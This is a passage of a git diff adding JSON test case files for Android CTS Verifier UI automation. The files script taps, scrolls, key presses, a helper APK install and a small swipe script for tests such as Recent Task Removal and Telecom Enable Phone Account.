+{"uuid":"e690407d-25d7-42eb-9553-9f328ee32f0d","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn on 3-button navigation\",\"actionId\":\"e690407d-25d7-42eb-9553-9f328ee32f0d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, System navigation\",\"actionId\":\"1aa293cd-73ac-4d1d-bfbc-fe147ce518a4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"System navigation\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, 3-button navigation\",\"actionId\":\"62c4fe1e-e58b-4649-a8a4-81112d1c8443\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"3-button navigation\"}],\"childrenIdList\":[\"514adc8f-fe99-4674-89cf-24028055b96e\",\"1aa293cd-73ac-4d1d-bfbc-fe147ce518a4\",\"62c4fe1e-e58b-4649-a8a4-81112d1c8443\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn on 3-button navigation","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.198000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e6aec7f0-e259-4914-9474-2ca7a5e3f45d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e6aec7f0-e259-4914-9474-2ca7a5e3f45d
new file mode 100644
index 0000000..9a33ae2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e6aec7f0-e259-4914-9474-2ca7a5e3f45d
@@ -0,0 +1 @@
+{"uuid":"e6aec7f0-e259-4914-9474-2ca7a5e3f45d","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Recent Task Removal Test\",\"actionId\":\"e6aec7f0-e259-4914-9474-2ca7a5e3f45d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Recent Task Removal Test\",\"actionId\":\"f5a403e6-00e6-4f44-9c17-2768a32ae806\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Recent Task Removal Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"5895863f-d55b-4f72-b5fe-fc71e2eec8db\",\"displayText\":\"Recent Task Removal Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Recent Task Removal Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":316.3333333333333,\"x2\":350.6666666666667,\"y2\":360.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":100.5,\"y\":340.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":79.5,\"y\":-1.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"5895863f-d55b-4f72-b5fe-fc71e2eec8db\",\"firstText\":\"Recent Task Removal Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Recent Task Removal Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":328.0,\"x2\":195.0,\"y2\":352.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Recent Task Removal Test\",\"actionId\":\"895fbc25-3366-4ddb-bdd6-4ac661fbb745\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Recent Task Removal Test\"},{\"type\":\"CommandLineAction\",\"name\":\"Install Force stop helper apk\",\"actionId\":\"b0001977-c6d2-4d27-8903-73830d2369dc\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"install -r -t $uicd_recent_task_removal_apk_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/fs_launch_test_app_button\",\"actionId\":\"a2ce74be-eb28-4dc7-bf87-c4a5cba7cee1\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/fs_launch_test_app_button\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"a6da420e-6e41-4e60-8d64-9ef381b1ecaa\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Overview Button\",\"actionId\":\"73a8899a-e53d-4465-afef-a3f8732b0d48\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":187,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Force stop helper app\",\"actionId\":\"ae889334-bbdf-4516-af9a-f82769dcec40\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Force stop helper app\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"36108037-17b8-4ba9-884a-796152105563\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"64cb6ef1-0ff1-470a-a31e-a95712e9112a\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.google.android.apps.nexuslauncher:id/snapshot\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.0,\"y1\":77.66666666666667,\"x2\":316.0,\"y2\":597.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"2382fca4-9ccd-4684-975b-111f12bec17c\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.view.View\",\"resourceId\":\"com.google.android.apps.nexuslauncher:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":158.0,\"y1\":55.666666666666664,\"x2\":202.0,\"y2\":99.66666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"contentDesc\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":44.0,\"y1\":55.666666666666664,\"x2\":316.0,\"y2\":597.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":155.0,\"y\":424.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":25.0,\"y\":-97.83333333333337,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"36108037-17b8-4ba9-884a-796152105563\",\"firstText\":\"CTS Verifier\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Force stop helper app\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":201.0,\"y1\":457.0,\"x2\":109.0,\"y2\":392.0},\"scrollOrientation\":3,\"scrollMaxNumber\":30},{\"type\":\"PythonScriptAction\",\"name\":\"Remove Force stop helper app from Recent apps\",\"actionId\":\"f6d805cd-b61a-4027-af3d-9c9f611efa7e\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import DirectionType\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.content_desc(\\\"Force stop helper app\\\").swipe(direction=DirectionType.UP)\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"2e70cc21-bc5c-455b-bfff-880a68716c19\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT-5 sec for processing\",\"actionId\":\"87502a7d-d5eb-4d6b-ae9e-ab77215d13e0\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"pololee\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"f5a403e6-00e6-4f44-9c17-2768a32ae806\",\"895fbc25-3366-4ddb-bdd6-4ac661fbb745\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"b0001977-c6d2-4d27-8903-73830d2369dc\",\"a2ce74be-eb28-4dc7-bf87-c4a5cba7cee1\",\"a6da420e-6e41-4e60-8d64-9ef381b1ecaa\",\"73a8899a-e53d-4465-afef-a3f8732b0d48\",\"ae889334-bbdf-4516-af9a-f82769dcec40\",\"f6d805cd-b61a-4027-af3d-9c9f611efa7e\",\"2e70cc21-bc5c-455b-bfff-880a68716c19\",\"87502a7d-d5eb-4d6b-ae9e-ab77215d13e0\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_recent_task_removal_apk_path=$HOME/Downloads/CTS-V/android-cts-verifier-6722941/android-cts-verifier/CtsForceStopHelper.apk,\"}}","name":"test_Recent Task Removal Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.250000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe
new file mode 100644
index 0000000..d457b14
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe
@@ -0,0 +1 @@
+{"uuid":"e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Telecom Enable Phone Account Test\",\"actionId\":\"e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Telecom Enable Phone Account Test\",\"actionId\":\"84d68153-d9a6-469b-9a26-e43852239408\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Telecom Enable Phone Account Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"39b8898e-3263-44c0-bae8-2534f9c8e193\",\"displayText\":\"Telecom Enable Phone Account Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Telecom Enable Phone Account Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":274.0,\"x2\":350.6666666666667,\"y2\":318.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":132.5,\"y\":295.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":47.5,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"39b8898e-3263-44c0-bae8-2534f9c8e193\",\"firstText\":\"Telecom Enable Phone Account Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Telecom Enable Phone Account Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":283.0,\"x2\":259.0,\"y2\":308.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Telecom Enable Phone Account Test\",\"actionId\":\"5600271f-5983-4647-bc0c-16ae30141f2a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Telecom Enable Phone Account Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/telecom_enable_phone_account_register_button\",\"actionId\":\"94d17352-5835-4982-8886-64febe5751e1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/telecom_enable_phone_account_register_button\"},{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"8ee48438-5510-4126-8a7a-ff25704dc8b5\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Phone\",\"actionId\":\"8b0031c6-5100-46b4-96ce-83ba4946cb9a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Phone\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/three_dot_menu_or_clear_icon_view\",\"actionId\":\"9f8aa0a7-5e1c-486b-a5ce-fc6f68a52705\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.dialer:id/three_dot_menu_or_clear_icon_view\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Settings\",\"actionId\":\"7dcae317-00f9-4682-b8d3-6e3c885135fb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Settings\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Calls\",\"actionId\":\"4ceba6c6-6849-4a6f-887a-d5b2ab86a8a8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Calls\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Calling accounts\",\"actionId\":\"7e5cc11b-1396-4632-b075-1a742d119199\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Calling accounts\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/telecom_enable_phone_account_confirm_button\",\"actionId\":\"77ac697f-69d3-409b-937c-7e46a793d8cf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/telecom_enable_phone_account_confirm_button\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"84d68153-d9a6-469b-9a26-e43852239408\",\"5600271f-5983-4647-bc0c-16ae30141f2a\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"94d17352-5835-4982-8886-64febe5751e1\",\"8ee48438-5510-4126-8a7a-ff25704dc8b5\",\"8b0031c6-5100-46b4-96ce-83ba4946cb9a\",\"9f8aa0a7-5e1c-486b-a5ce-fc6f68a52705\",\"7dcae317-00f9-4682-b8d3-6e3c885135fb\",\"4ceba6c6-6849-4a6f-887a-d5b2ab86a8a8\",\"7e5cc11b-1396-4632-b075-1a742d119199\",\"645e8103-d449-40d0-abba-6d734e783792\",\"370c511c-5950-4b3a-b832-60f2a606a27a\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"77ac697f-69d3-409b-937c-7e46a793d8cf\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Telecom Enable Phone Account Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.277000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28
new file mode 100644
index 0000000..0576980
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28
@@ -0,0 +1 @@
+{"uuid":"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Pass\\\" button\",\"actionId\":\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/test_step_passed\",\"actionId\":\"13366230-ea3a-4367-9ebb-1c9efd70eff6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/test_step_passed\"}],\"childrenIdList\":[\"13366230-ea3a-4367-9ebb-1c9efd70eff6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Pass\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.224000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e85d4353-bdbe-4671-9f3f-b94ec6b06b0e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e85d4353-bdbe-4671-9f3f-b94ec6b06b0e
new file mode 100644
index 0000000..79780c4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e85d4353-bdbe-4671-9f3f-b94ec6b06b0e
@@ -0,0 +1 @@
+{"uuid":"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Device admin apps\",\"actionId\":\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Security\",\"actionId\":\"67ad6999-e805-4dde-b912-51cd2299ec31\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Security\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"43aa6f30-f577-4ac4-93b7-fb0df1cc5c3f\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f12d66d7-efcc-438a-bf4e-d9200581af61\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"3e692e1c-cef1-40bb-a506-3fbf40da7c83\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":102.33333333333333,\"x2\":45.333333333333336,\"y2\":133.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":98.66666666666667,\"x2\":63.0,\"y2\":137.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"e35bb38d-652c-4771-8bd1-a26d868257b8\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ebb69f7e-51d4-4fae-b2cf-af6fa9ba8e87\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Security\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":100.0,\"x2\":115.66666666666667,\"y2\":119.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.166666666666657,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"},{\"uuid\":\"bddd42af-f9cf-4d8b-a77e-6d73ef9cdfac\",\"displayText\":\"Play Protect, screen lock, fingerprint\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Play Protect, screen lock, fingerprint\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":119.0,\"x2\":259.3333333333333,\"y2\":136.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Play Protect, screen lock, fingerprint\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":86.0,\"x2\":346.0,\"y2\":150.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":86.0,\"x2\":360.0,\"y2\":150.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.5,\"y\":108.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":10.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"ebb69f7e-51d4-4fae-b2cf-af6fa9ba8e87\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Security\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":98.0,\"x2\":133.0,\"y2\":118.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Security\",\"actionId\":\"ac66f102-a1d5-4209-a9b6-d85a806aa7cf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Security\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Advanced\",\"actionId\":\"b925e889-ac82-47bf-859f-c835a7ae2983\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Advanced\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7c54e5ec-c2e7-4372-ba73-03a31c90f07f\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2d6144f1-e6e8-42c9-97c8-7ccb51d6b481\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9f9efb3e-1f9f-4cf8-8258-5732eb852fa8\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":556.3333333333334,\"x2\":35.0,\"y2\":577.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLay